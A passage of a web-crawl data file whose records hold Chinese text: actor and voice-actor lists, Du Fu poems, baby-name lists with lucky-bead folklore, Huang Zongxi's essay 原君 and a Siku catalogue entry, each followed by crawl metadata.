0.014312068931758404}","num_words":44,"character_repetition_ratio":0.008,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.756,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n黎耀祥 胡杏兒 蕭正楠 馬賽 謝雪心 劉江 羅蘭 陳自瑤 張國強 李成昌 馬海倫 金剛 李天翔 方伊琪 林偉 馬蹄露 招石文 於洋 楊卓娜 羅鈞滿 林盛斌 邵卓堯 關浩揚 楊瑞麟 魏惠文 關菁 羅利期 陳榮峻 黃柏文 黃子恆 李岡龍 吳雲甫 楊證樺 何廣沛 陳勉良 鄧永健 何傲兒 陳婉婷 鍾志光 王俊棠 黃建東 潘芳芳 朱敏瀚 甄敏婷 徐玟晴 馬貫東 布偉傑 陳嘉嘉 陳偉洪 曾慧雲 陳亭嘉 章宇昂 沈可欣 溫裕紅 李晉強\n黃智雯 袁偉豪 陳智燊 黃淑儀 孫慧雪 郭子豪 林秀怡 林景程 周梓盈 鍾志光 利穎怡 周志康 李國麟 梁舜燕 蘇恩磁 張明偉 郭田葰 魯振順 曾偉權 徐玟晴 譚坤倫 趙永洪 袁鎮業 關浩揚 周麗欣 李璧琦 郭千瑜 許家傑 張漢斌 曾慧雲 蕭徽勇 吳偉豪 曹思詩 招浩明 蘇麗明 陳建文 梁證嘉 王致迪 鄭恕峯 李日升 譚永浩 董敬文 張智軒 陳靖雲 蕭凱欣 廖麗麗 潘冠霖 沈愛琳 何佩珉 馮秀華 馬蹄露 布偉傑\n林文龍 黃翠如 連詩雅 馬貫東 謝芷倫 黃嘉樂 蘇皓兒 顧定軒 陳自瑤 劉溫馨 袁潔儀 李任燊 李日升 姚浩政 孟希璘 王卓淇 黃芷晴 麥皓兒 鍾志光 陳志健 楊卓娜 馮素波 岑杏賢 冼灝英 溫裕紅 劉天龍 李寶君 李寶珊 翟鋒 邱晴 黃凱琪 陳靜堯 梁雯蔚 關浩揚 姚亦澧 林穎彤 盧偉文 吳珮如 伍富橋 潘冠霖 林靖文 何家銘 王浚聲 馬溱禧 黃韻娜 何晉樂 吳子衝 張詩欣 黃子桐 黃可盈 陳苑澄\n譚俊彥 陳山聰 黃智雯 楊秀惠 江欣燕 林嘉華 趙希洛 何遠東 何啓南 楊卓娜 羅浩銘 林師傑 杜大偉 鄭恕峯 蕭徽勇 方紹聰 唐嘉麟 尹詩沛 蔡國威 謝可逸 陳婉婷 陳家良 阮兒 司徒暉 莫偉文 孟苑榕 邵展鵬 黃凱琪 林浩文 丁樂鍶 羅永健 鄧嘉傑 何晉樂 陳戩浩 鄭雋熹 梁嘉駿 梁百川 梁珈詠 曾敏 曾慧雲 餘應彤 張雪瑩 關浩揚 梁雯蔚 於洋 黃子雄 劉芷希 李善恆 黃可盈\n洪永城 黃心穎 湯洛雯 謝東閔 鄭子誠 潘志文 郭少芸 張慧儀 劉思希 於洋 陳婉婷 黎振燁 張美妮 馮素波 莊思明 王子涵 李霖恩 何豔娟 白雲 曾敏 吳珮如 周梓盈 陳靖雲 譚偉權 秦啓維 張漢斌 衛志豪 鄭詠謙 李海生 林敬剛 趙樂賢 楊證樺 曾健明 司徒暉 陳榮峻 盧峻峯 易智遠 方紹聰 謝可逸 黃耀煌 蕭凱欣 梁雯蔚 鄧英敏 黃建東 鄭恕峯 莫家淦 曾琬莎 李忠希 關浩揚\n譚俊彥 關楚耀 朱晨麗 傅嘉莉 胡諾言 沈卓盈 楊玉梅 朱敏瀚 泰臣 林師傑 羅浩銘 溫家偉 陳嘉輝 祝文君 楊證樺 姚浩政 戴耀明 鄭家生 李君妍 楊嘉欣 白雲 梁珈詠 歐陽巧瑩 劉天龍 鄭恕峯 潘冠霖 李漫芬 方紹聰 曾慧雲 蔡國威 鄧永健 範文雅 姚嘉妮 何佩珉 關浩揚 袁鎮業 衛志豪 張智軒\n馬國明 楊怡 陳山聰 袁偉豪 劉丹 謝雪心 馬蹄露 潘芳芳 關浩揚 甄敏婷 樂瞳 陳嘉輝 蔣志光 李成昌 李天翔 羅天池 陳榮峻 楊瑞麟 李子奇 陳自瑤 曾航生 程可爲 羅利期 戴耀明\n袁偉豪 唐詩詠 朱晨麗 胡鴻鈞 黃祥興 賴慰玲 林子善 張彥博 趙希洛 黃子雄 郭子豪 王歌慧 張國強 煒烈 鄭敬基 範文雅 沈可欣 顧冠忠 祝文君 李日升 方紹聰 李啓傑 邵卓堯 許家傑 關浩揚 衛志豪 鄭家生 姚浩政 莫家淦 尹詩沛 楊家寶 楊潮凱 崔錦棠 秦啓維 李楓 林淑敏 朱斐斐 曹思詩 林希靈 潘梓鋒 謝芷倫 黃愷怡 餘應彤 李海生 陳勉良 彭紀諺 容羨媛 周麗欣 丘梓謙 李漫芬 劉溫馨 陳婉衡 陳靖雲 沈愛琳 莫偉文 徐玟晴 周梓盈 關偉倫 趙樂賢 繆家慶 招浩明 余子明 楊證樺 魏惠文 鄧\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/nonovod.com\/search\/-%E9%97%9C%E6%B5%A9%E6%8F%9A------------.html","date":"2020-10-27T08:42:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107893845.76\/warc\/CC-MAIN-20201027082056-20201027112056-00440.warc.gz","language":"lzh","language_score":0.8094560504,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.8094560503959656, \"cmn_Hani_score\": 0.11040167510509491, \"nan_Hani_score\": 0.07069060206413269}","num_words":386,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.825,"perplexity_score":500.0,"cluster_detection":1} +{"text":"如需提醒管理员添加该视频请点击 留言 ,谢谢!\n提示(如果搜索词错误也将无法搜到,可尝试简化搜索词)\n演员:松本梨香 大谷育江 丰口惠美 上田祐司 林原惠美 三木真一郎 犬山犬子 古岛清孝 石冢运升 家弓家正 小樱悦子 伊东美弥子 西村千奈美 川上贵史 川上伦子 津村真琴 小西克幸 逢坂力 仁科洋平 佐藤智惠 阪口大助 三宅健太 山口由里子 丰岛雅美 中井和哉 庄司美代子 木村亚希子 钉宫理惠 早水理沙 坂口候一 园部好德 桑岛法子 我妻正崇 田中正彦 木内秀信 本田贵子 植竹香菜 小岛幸子 小林优 宫泽正 井上喜久子 浅野真澄 三田友子 伊东久美子 上田纯子 阪田伊都 川岛得爱 日笠山亚美 能登麻美子 渡边久\n导演:汤山邦彦 小野胜巳 浅田裕二 须藤典彦 宫原秀二 渡边正彦 牧野行洋 近桥伸隆 中村近世 山田浩之 古贺一臣 小山贤 秦义人 新田典生","id":"","dump":"CC-MAIN-2022-27","url":"http:\/\/mecnier.com\/index.php\/vod\/search\/actor\/%E4%B8%AD%E4%BA%95%E5%92%8C%E5%93%89\/page\/2.html","date":"2022-06-29T10:47:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103626162.35\/warc\/CC-MAIN-20220629084939-20220629114939-00653.warc.gz","language":"lzh","language_score":0.395955503,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.39595550298690796, \"cmn_Hani_score\": 0.3311801850795746, \"jpn_Jpan_score\": 0.1849573254585266, \"nan_Hani_score\": 0.04776201397180557, \"yue_Hani_score\": 0.031645990908145905}","num_words":68,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.482,"perplexity_score":500.0,"cluster_detection":1} +{"text":"觀公孫大娘弟子舞劍器行 杜甫 昔有佳人公孫氏,一舞劍器動四方。觀者如山色沮喪,天地為之久低昂。霍如羿射九日落,矯如群帝驂龍翔,來如雷霆收震怒,罷如江海凝清光。絳唇珠袖兩寂寞,晚有弟子傳芬芳。 臨穎美人在白帝,妙舞此曲神揚揚。與余問答既有以,感時撫事增惋傷。 先帝侍女八千人,公孫劍器初第一。五十年間似反掌,風塵澒洞昏王室。梨園子弟散如煙,女樂餘姿映寒日。金粟堆前木已拱,瞿塘石城草蕭瑟。玳筵急管曲復終,樂極哀來月東出。老夫不知其所往?足繭荒山轉愁疾。\n古柏行, 杜甫孔明廟前有老柏,柯如青銅根如石。霜皮溜雨四十圍,黛色參天二千尺。君臣已與時際會,樹木猶為人愛惜。雲來氣接巫峽長,月出寒通雪山白。憶昨路繞錦亭東,先主武侯同閟宮。崔嵬枝幹郊原古,窈窕丹青戶牖空。落落盤踞雖得地,冥冥孤高多烈風。扶持自是神明力,正直原因造化工。大廈如傾要樑棟,萬牛迴首邱山重。不露文章世已驚,未辭剪伐誰能送?苦心豈免容螻蟻,香葉終經宿鸞鳳。志士幽人莫怨嗟:古來材大難為用。\n韋諷錄事宅觀曹將軍畫馬圖, 杜甫 國初已來畫鞍馬,神妙獨數江都王。將軍得名三十載,人間又見真乘黃。曾貌先帝照夜白,龍池十日飛霹靂。內府殷紅瑪瑙盤,婕妤傳詔才人索。盤賜將軍拜舞歸,輕紈細綺相追飛。貴戚權門得筆跡,始覺屏障生光輝。昔日太宗拳毛騧,近時郭家獅子花。今之新圖有二馬,復令識者久嘆嗟。此皆騎戰一敵萬,縞素漠漠開風沙。其餘七匹亦殊絕,迥若寒空動煙雪。霜蹄蹴踏長啾間,馬官廝養森成列。可憐九馬爭神駿,顧視清高氣深穩。借問苦心愛者誰,後有韋諷前支遁。憶昔巡幸新豐宮,翠華拂天來向東。騰驤磊落三萬匹,皆與此圖筋骨同。自從獻寶朝河宗,無復射蛟江水中。君不見 – 金粟堆前松柏裏,龍媒去盡鳥呼風。","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/heta.link\/2022\/11\/","date":"2022-11-27T12:06:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710237.57\/warc\/CC-MAIN-20221127105736-20221127135736-00159.warc.gz","language":"lzh","language_score":0.4421141744,"language_script":"Hani","minhash_cluster_size":6,"top_langs":"{\"lzh_Hani_score\": 0.4421141743659973, \"cmn_Hani_score\": 0.3405805230140686, \"nan_Hani_score\": 0.11767715960741043, \"wuu_Hani_score\": 0.029717538505792618, \"jpn_Jpan_score\": 0.029000375419855118, \"yue_Hani_score\": 0.021392785012722015}","num_words":11,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.499,"perplexity_score":500.0,"cluster_detection":1} +{"text":"; 导读:王姓在我国姓氏中也是比较大的姓氏,也是人口比较多的姓氏,所以重名的人很多,不过只要不相遇,名字寓意极好,重名也是无所谓的。那么,王姓寓意好的名字大全去哪找?王姓大气有寓意的名字怎么起呢?以下是小编带来的王姓男孩女孩寓意好的名字,需要的朋友来瞧瞧吧。\n王姓寓意好的名字大全1\n王姓寓意好的名字大全2\n王姓寓意好的名字大全3\n王姓寓意好的名字大全4\n王姓寓意好的名字大全5\n王毅 不谢\n王静蕾\n男的女的 补充: 王华磊 王震 哲 王文强 王文鑫 王阳 王慧 湘 王矽 王诗艺 王财苁 王玟青 王景耀 王章华 王推梁 王厚昌 王建洪 王慧瑜 王海昙 王振 鹏 王宸冬 王奕航 王洋浦 王乐宇 王洁 萤 王越 丹 王岳昭 王煊 王晓明 王优滟 王立民 王尚雅 王倚凡 王佑名 王颖 月 王文纪 王珥 王思启 王科 祥 王烁 涛 王睿林 王亭榕 王树淼 王华山 王荣木 王松 峰 王硕 王惰侦 王城池 王圳旺 王志鹏 王灵 王玮嘉 王子康 王仕义 王志濠 王帅 珲 王书屹 王诗菡 王笑 王碧 辉 王朝忠 王慕柯 王孟 霆 王坦帅 王俊 宏 王志伟 王成林 王飞 羽 王乐彤 王留铭 王宗 王思伊 王克 宇 王惠 王寒蕊 王紫泓 王磊 王鸿琦 王中越 王楷桦 王芸楼 王云姗 王惠苏 王盛 岍 王翔 宇 王哲龙 王馨蓝 王旭亮 王玖 王威成 王君沛 王昱霖 王嚣橼 王晓瑜 王亦锦 王肖菲 王连翩 王思远 王泽 静 王一霏 王柏 万 王昕岳 王洪 俊 王祖愉 王昊珊 王凡智 王雅龄 王芸菲 王成秋 王诺 彦 王四芹 王才力 王劲光 王佩兰 王春 王睿阳 王嘉艺 王涵彬 王宜 王涵姝 王岳彪 王永 旭 王艺挺 王壹帆 王美伽 王可 柔 王 国治 王瑜 宁 王子渊 王春荣 王睛玖 王晃 王建建 王明 东 王紫珊 王思橙 王容欣 王盛祥 王沛能 王奕帆 王逸闻 王敏 华 王子任 王烽平 王晟霖 王渊 王忠标 王璐 廷 王爱和 王润泽 王雪薇 王惠君 王保胜 王律 王泳 王泽西 王伦 王欢 妮 王懿 王汇奇 王语译 王珂菡 王忆杏 王立敏 王博钧 王会琰 王迪 王维奕 王柔舸 王嘉 王昀蓁 王应 王承 御 王甜天 王光明 王秀荣 王宇瀚 王凯迪 王依桦 王天天 王云飞 王景滢 王宁 王白波 王屹 王若曦 王育宁 王海岚 王鲡沣 王征才 王庆斌 王潇潇 王皓列 王笔 王浩严 王春益 王美善 王腊群 王筱钧 王红义 王圆盟 王一一 王顺 飞 王胜利 王子青 王思亮 王烨洲 王明姗 王振兴 王杨 阳 王檀 王巧然 王金平 王英学 王宣泽 王惠敏 王晨延 王泳鑫 王思昊 王三一 王烁迪 王窈忻 王脆如 王妗淼 王伟 王馨甜 王沁伦 王雁飘 王倾 王邻 王祺骊 王健 王木工 王河江 王雨 奥 王贵鱼 王秋 珍 王进嘉 王广峰 王铄 王天南 王潆 王理超 王玉波 王弘康 王子兴 王洪蛟 王佳号 王海慧 王贵桂 王含 晴 王奥 王韵茜 王德众 王圣臻 王语湾 王兴华 王斯瑜 王翊 金 王雯 宇 王玉凤 王爰君 王文凤 王佳欣 王锦山 王峻哲 王雪蓬 王永刚 王渊 王姝雨 王俪铭 王鹏 鹏 王梓有 王小静 王闰沅 王启华 王友三 王炜栾 王珈宁 王霈辛 王愈 王诗惠 王景启 王春宇 王玟昱 王雨芯 王静依 王玮 王瑞立 王浣 杰 王奥迪 王暇 王辰泽 王启明 王莫求 王灸攒 王承铠 王民胜 王小静 王翠 珊 王长刚 王可 王贵君 王玉杰 王质方 王先濠 王志浩 王松标 王春江 王金烙 王鸿亮 王学兰 王明钊 王佳鑫 王雨福 王致远 王黎 王梦馨 王眙灵 王晨阅 王海宇 王语 王见昴 王援兰 王海成 王慧湘 王兴纳 王肖凤 王青云 王双斌 王俊瑜 王山冈 王一洲 王粒廷 王立廷 王凌 淇 王世好 王石杰 王一成 王绍歧 王晓芹 王一鸣 王楚 一 王买安 王恩仙 王丁友 王子盈 王宣泽 王青竹 王芝凝 王姝辰 王晓涵 王艺源 王昭 扬 王益衡 王昕瑜 王仪纬 王禹萱 王辰瑕 王烨 王振劣 王语筱 王文君 王静宇 王才哲 王智 豪 王薇 趱 王孝荃 王塞尔 王笛 威 王子封 王秋实 王嘉贤 王一帆 王坤 昀 王越 王尔雅 王文雯 王婉笛 王中立 王鲮尘 王士业 王彬 王权 王乃迪 王斐发 王海岚 王凡丹 王彦名 王依翎 王文蔚 王丽宏 王潇桐 王彦行 王圣钢 王佳钰 王学斌 王乐璨 王郑东 王玉君 王纯如\n可以放家里也可以戴手上\n大师在家里埋了四颗转运珠一颗上刻着离字是什么意思?\n转运珠通常是一种小珠子,比黄豆略大,有黄金打成,也有玉石、水晶、檀木等。转运珠可以用红绳串起来,佩戴在手腕上,或者挂在脖子上,象征着吉祥如意,运气好转。转运珠的意义都很多,主要和转运珠的多少,和赠送的人不同,意义也各异。下面由广种福田为大家作的详细介绍。\n1、转运珠颗数的意义\n一颗珠代表\"一帆风顺\"、两颗珠代表\"好事成双\"、三颗珠代表\"三羊开泰\"、四颗珠代表\"四季平安\"、五颗珠代表\"五福同享\"、六颗珠代表\"官运亨通\"、七颗珠代表\"海誓山盟\"、八颗珠代表\"财源广进\"、九颗珠代表\"天长地久\"、十颗珠则代表\"十全十美\"。\n转运珠其实就是一种由金银或玉石打磨成的首饰,据说可以给人增加好运,这几年,佩戴和赠送转运珠的人越来越多。\n这款转运珠造型精美,融入了\"转轮藏\"的祈福文化精粹,\"转轮藏\"是可以转动的经书架,转一遍珠子,就相当于诵一遍经,积一份功德。","id":"","dump":"CC-MAIN-2023-06","url":"http:\/\/upspk.com\/yh\/g1nq02x\/","date":"2023-02-01T18:42:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499949.24\/warc\/CC-MAIN-20230201180036-20230201210036-00028.warc.gz","language":"lzh","language_score":0.7581087351,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.7581087350845337, \"cmn_Hani_score\": 0.12247801572084427, \"nan_Hani_score\": 0.11931747198104858}","num_words":464,"character_repetition_ratio":0.005,"word_repetition_ratio":0.0,"special_characters_ratio":0.256,"stopwords_ratio":0.006,"flagged_words_ratio":0.0,"lang_id_score":0.81,"perplexity_score":500.0,"cluster_detection":1} +{"text":"課文[编辑]\n有生之初,人各自私也,人各自利也。天下有公利而莫或興之,有公害而莫或除之。有人者出,不以一己之利為利,而使天下受其利;不以一己之害為害,而使天下釋其害。此其人之勤勞,必千萬於天下之人。夫以千萬倍之勤勞,而己又不享其利,必非天下之人情所欲居也。故古之人君,量而不欲入者,許由、務光是也;入而又去之者,堯、舜是也;初不欲入而不得去者,禹是也。豈古之人有所異哉?好逸惡勞,亦猶夫人之情也。\n後之為人君者不然。以為天下利害之權皆出於我,我以天下之利盡歸於己,以天下之害盡歸於人,亦無不可。使天下之人不敢自私,不敢自利,以我之大私為天下之大公,始而慚焉,久而安焉,視天下為莫大之產業,傳之子孫,受享無窮。漢高帝所謂「某業所就,孰與仲多」者,其逐利之情,不覺溢之於辭矣。\n此無他,古者以天下為主,君為客,凡君之所畢世而經營者,為天下也;今也以君為主,天下為客,凡天下之無地而得安寧者,為君也。是以其未得之也,屠毒天下之肝腦,離散天下之子女,以博我一人之產業,曾不慘然,曰:「我固為子孫創業也。」其既得之也,敲剝天下之骨髓,離散天下之子女,以奉我一人之淫樂,視為當然,曰:「此我產業之花息也。」然則為天下之大害者,君而已矣!向使無君,人各得自私也,人各得自利也。鳴呼!豈設君之道固如是乎?\n古者天下之人愛戴其君,比之如父,擬之如天,誠不為過也;今也天下之人怨惡其君,視之如寇讎,名之為獨夫,固其所也。而小儒規規焉以君臣之義無所逃於天地之間,至桀、紂之暴,猶謂湯、武不當誅之,而妄傳伯夷、叔齊無稽之事,視兆人萬姓崩潰之血肉,曾不異夫腐鼠。豈天地之大,於兆人萬姓之中,獨私其一人一姓乎?是故武王,聖人也;孟子之言,聖人之言也。後世之君,欲以如父如天之空名,禁人之窺伺者,皆不便於其言,至廢孟子而不立,非導源於小儒乎?\n雖然,使後之為君者,果能保此產業,傳之無窮,亦無怪乎其私之也。既以產業視之,人之欲得產業,誰不如我?攝緘縢,固扃鐍,一人之智力,不能勝天下欲得之者之眾。遠者數世,近者及身,其血肉之崩潰,在其子孫矣。昔人願世世無生帝王家,而毅宗之語公主,亦曰:「若何為生我家?」痛哉斯言!回思創業時,其欲得天下之心,有不廢然摧沮者乎?\n是故明乎為君之職分,則唐、虞之世,人人能讓,許由、務光,非絕塵也;不明乎為君之職分,則市井之間,人人可欲,許由、務光所以曠後世而不聞也。然君之職分難明,以俄頃淫樂,不易無窮之悲,雖愚者亦明之矣!","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/zh.wikibooks.org\/wiki\/%E5%9C%8B%E4%B8%AD%E8%AA%9E%E6%96%87%EF%BC%88%E9%AB%98%E4%B8%AD%EF%BC%89\/%E5%8E%9F%E5%90%9B","date":"2024-04-16T18:07:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817103.42\/warc\/CC-MAIN-20240416155952-20240416185952-00362.warc.gz","language":"lzh","language_score":0.4861614406,"language_script":"Hani","minhash_cluster_size":22,"top_langs":"{\"lzh_Hani_score\": 0.4861614406108856, \"cmn_Hani_score\": 0.41863375902175903, \"nan_Hani_score\": 0.08121687173843384}","num_words":7,"character_repetition_ratio":0.002,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.663,"perplexity_score":500.0,"cluster_detection":1} +{"text":"姓瞿的好聽的男孩名字有哪些呢?在中國,一般每人都有姓,人們初次交往,彼此總要先問:您貴姓?由此可見姓氏在我們生活中的重要性,中國古人的姓名和現代一樣,是人們在社交中用來代表個人的符號,因此給孩子起名,一定要慎重,那姓瞿的男寶寶該取什麼樣的名字,下面姓名網為大傢介紹,姓瞿的好聽的男孩名字!\n瞿芷硯 瞿笛 瞿薇薇 瞿駿 瞿誼宗 瞿錦澳 瞿司宜 瞿侗效 瞿文錦 瞿偉斌 瞿雪光 瞿梓卿 瞿舒銘 瞿慧敏 瞿峰旭 瞿少菲 瞿曉敏 瞿川寒 瞿純宇 瞿語紫 瞿錦緯 瞿詩懌 瞿淑好 瞿曼 瞿雪海 瞿聞 瞿晟雲 瞿百融 瞿盛寬 瞿正幾 瞿雯茜 瞿會均 瞿耀鵬 瞿祥賓 瞿美華 瞿巳寧 瞿菲 瞿子昂 瞿容伊 瞿夢銀 瞿桃 瞿傅琪 瞿鉑瑞 瞿銀微 瞿雨沐 瞿安羽 瞿傢宇 瞿見邱 瞿嘉濰 瞿思嚴 瞿金鈺 瞿暹容 瞿桂華 瞿玟 瞿少君 瞿人騫 瞿清秀 瞿以潺 瞿長鐘 瞿張力 瞿忻蕓 瞿佈伊 瞿雲帆 瞿曉欣 瞿依曼 瞿信央 瞿鐵軍 瞿昕語 瞿剛碩 瞿永清 瞿志祥 瞿海軍 瞿紫凱 瞿利群 瞿亦銘 瞿海月 瞿雅佳 瞿放寒 瞿永華 瞿薈芹 瞿容利 瞿震賢 瞿華病 瞿金 瞿春德 瞿潤翰 瞿會生 瞿王傑 瞿海峰 瞿加隴 瞿健 瞿凈韓 瞿鏵 瞿昊霆 瞿雨桐 瞿琪 瞿南然 瞿智遠 瞿曉菁 瞿宇嘉 瞿子愷 瞿踏盛 瞿依馨 瞿殿鳳 瞿安妃 瞿秉銓 瞿伉胴 瞿依一 瞿鑒微 瞿美貞 瞿朝陽 瞿沐熏 瞿鐘 瞿書海 瞿美芹 瞿澤泉 瞿志鳳 瞿福波 瞿鈺敏 》》還是沒有找到滿意的名字?不妨問問大師。\n瞿風信 瞿兮雅 瞿梓睿 瞿學忠 瞿若涵 瞿鴻生 瞿業翔 瞿詠嘉 瞿昱燃 瞿小寧 瞿均海 瞿雅巍 瞿名正 瞿芊翊 瞿海飆 瞿岱馨 瞿貞淑 瞿寧利 瞿祖 瞿儂 瞿明乾 瞿揚 瞿雯富 瞿義丹 瞿若凌 瞿建胤 瞿瀚焱 瞿允洪 瞿興發 瞿一葦 瞿頂宏 瞿亞茲 瞿興俊 瞿君恒 瞿瀟鴻 瞿於斯 瞿文明 瞿景育 瞿浩然 瞿衍瑜 瞿風韶 瞿楓嵩 瞿雄 瞿合 瞿忠標 瞿渺闔 瞿沁 瞿恒書 瞿卓越 瞿孝滔 瞿成瀚 瞿奕暢 瞿珈培 瞿唯凌 瞿鋮 瞿雯莎 瞿茗楊 瞿好好 瞿洲 瞿涵土 瞿梅影 瞿夢嬌 瞿沁 瞿天宇 瞿丹晨 瞿健維 瞿重洋 瞿恒碩 瞿瑋燁 瞿宇揚 瞿國鷹 瞿李全 瞿英娣 瞿花屏 瞿繼龍 瞿譽淇 瞿梓豪 瞿富煜 瞿俊賢 瞿子琦 瞿井財 瞿堯哲 瞿綸圖 瞿逢生 瞿晟然 瞿躍飛 瞿鵬興 瞿小強 瞿冬可 瞿柏生 瞿夢圓 瞿翔鵬 瞿書平 瞿思學 瞿朋 瞿鈺淇 瞿丹煙 瞿珊珊 瞿積烯 瞿良智 瞿輝 瞿錫倫 瞿淅麥 瞿俊江 瞿忻楊 瞿成天 瞿霏兒 瞿愛華 瞿琛波 瞿沅騁 瞿鈺畫 瞿蔚凈 瞿晨璐 瞿海博 瞿靈慧 瞿遠兮 瞿鬱卿 瞿程瀟 瞿畢 瞿增汪 瞿泊瑜 瞿景天 瞿足人 瞿嬌嬈 瞿琦雯 瞿天奉 瞿明博 瞿奕汶 瞿祺雯 瞿海海 瞿傢提 瞿虹萱 瞿雪飛 瞿春波 瞿紅波 瞿蕓夢 瞿震寰 瞿海瑋 瞿瑜涓 瞿京汐 瞿致遠 瞿雨石 瞿之瑜 瞿鑾焱 瞿素微 瞿閑鳴 瞿瑪瑙 瞿廷偉 瞿景華 瞿雲華 瞿暉 瞿號冬 瞿勝生 瞿桂華 瞿珈萱 瞿宏慧 瞿文卓 瞿懿心 瞿逸飛 瞿超斌\n瞿雲晟 瞿新宏 瞿淼焱 瞿千葉 瞿依沛 瞿子騏 瞿禾粟 瞿婕 瞿永安 瞿純僖 瞿瑞鑫 瞿圓月 瞿詩燁 瞿鑫雷 瞿文鳳 瞿曉光 瞿斯宇 瞿鴻皓 瞿靈瑜 瞿輝 瞿昭宇 瞿依然 瞿力東 瞿彭偉 瞿宸張 瞿鍵國 瞿飛洋 瞿婕 瞿永浩 瞿鑌林 瞿雲生 瞿宇琪 瞿芮 瞿先姣 瞿亮蘊 瞿偉 瞿宇薇 瞿曼妮 瞿凝嶽 瞿鍵梁 瞿文品 瞿向炳 瞿雨心 瞿戌曜 瞿治冰 瞿子柔 瞿慧寧 瞿謹僖 瞿攀起 瞿瀟淳 瞿世麇 瞿明 瞿嘉鋮 瞿文靜 瞿逢菲 瞿雨晨 瞿文忠 瞿晟 瞿曉雨 瞿暉 瞿煥強 瞿錦嚴 瞿思敏 瞿海 瞿崳躪 瞿健 瞿林至 瞿永健 瞿菊華 瞿宇秋 瞿卓立 瞿宇宸 瞿翎迦 瞿憶 瞿緒 瞿新偉 瞿思愈 瞿寒飛 瞿倬宏 瞿子昊 瞿浩勇 瞿一丹 瞿盛福 瞿維丞 瞿沛禮 瞿營 瞿天資 瞿先慧 瞿盡奏 瞿洋藝 瞿俊琨 瞿焱 瞿笑南 瞿文茜 瞿鏡濰 瞿培傑 瞿宗嬌 瞿嘉歡 瞿丹平 瞿華仁 瞿雲來 瞿東波 瞿煜宇 瞿鑫 瞿羨倪 瞿鈺棠 瞿蓓海 瞿浩忻 瞿治博 瞿盛 瞿玉蘭 瞿嘉成 瞿國敏 瞿安賢 瞿志海 瞿一涵 瞿涵聿 瞿彤 瞿運達 瞿偉達 瞿聿涵 》》還是沒有找到滿意的名字?不妨問問大師。\n瞿(Qú)姓源出有三:\n1、以人名為姓。商代有一大夫官,因受封於瞿上(今四川省成都市雙流縣東瞿上城),而得名瞿父。其子孫後代遂以祖上名字為姓,形成瞿姓。\n2、以地名為氏。據《宣和博古圖》記載,商代青銅器皿中有瞿父鼎。瞿父,是以封地名而命姓瞿的。\n3、以地名命姓的還有春秋時孔子的弟子商瞿,字子木,跟隨孔子學習《易經》。商瞿是魯國人,因生於四川雙流縣,居於瞿上,故名商瞿,其舊居稱為商瞿裡,後來在這裡居住的人,分別以地名取商姓和瞿姓。(責任編輯:八字免費算命網)","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/www.share4tw.com\/archives\/285823","date":"2016-10-27T14:53:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988721347.98\/warc\/CC-MAIN-20161020183841-00097-ip-10-171-6-4.ec2.internal.warc.gz","language":"lzh","language_score":0.6771751642,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.6771751642227173, \"nan_Hani_score\": 0.1405201256275177, \"yue_Hani_score\": 0.09889497607946396, \"cmn_Hani_score\": 0.0475274883210659, \"und_Bamu_score\": 0.021263686940073967}","num_words":407,"character_repetition_ratio":0.016,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.682,"perplexity_score":500.0,"cluster_detection":1} +{"text":"子部四十二 雜家類存目九\n博學彙書 十二卷\n內府藏本\n明來集之撰。凡讀書所得。隨筆記錄。不分門目。惟以類相從。鱗次櫛比。俾可互證視他書叢雜無次者。較爲過之。然所採多小說家言。如拾遺洞冥諸記。是豈足取以爲據乎。","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/kanji.zinbun.kyoto-u.ac.jp\/db-machine\/ShikoTeiyo\/0274604.html","date":"2017-05-23T05:00:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463607369.90\/warc\/CC-MAIN-20170523045144-20170523065144-00444.warc.gz","language":"lzh","language_score":0.5064466596,"language_script":"Hani","minhash_cluster_size":7,"top_langs":"{\"lzh_Hani_score\": 0.5064466595649719, \"cmn_Hani_score\": 0.3320477604866028, \"jpn_Jpan_score\": 0.07381533831357956, \"yue_Hani_score\": 0.037397321313619614, \"wuu_Hani_score\": 0.024334611371159554, \"nan_Hani_score\": 0.01982717216014862}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.506,"perplexity_score":500.0,"cluster_detection":1} 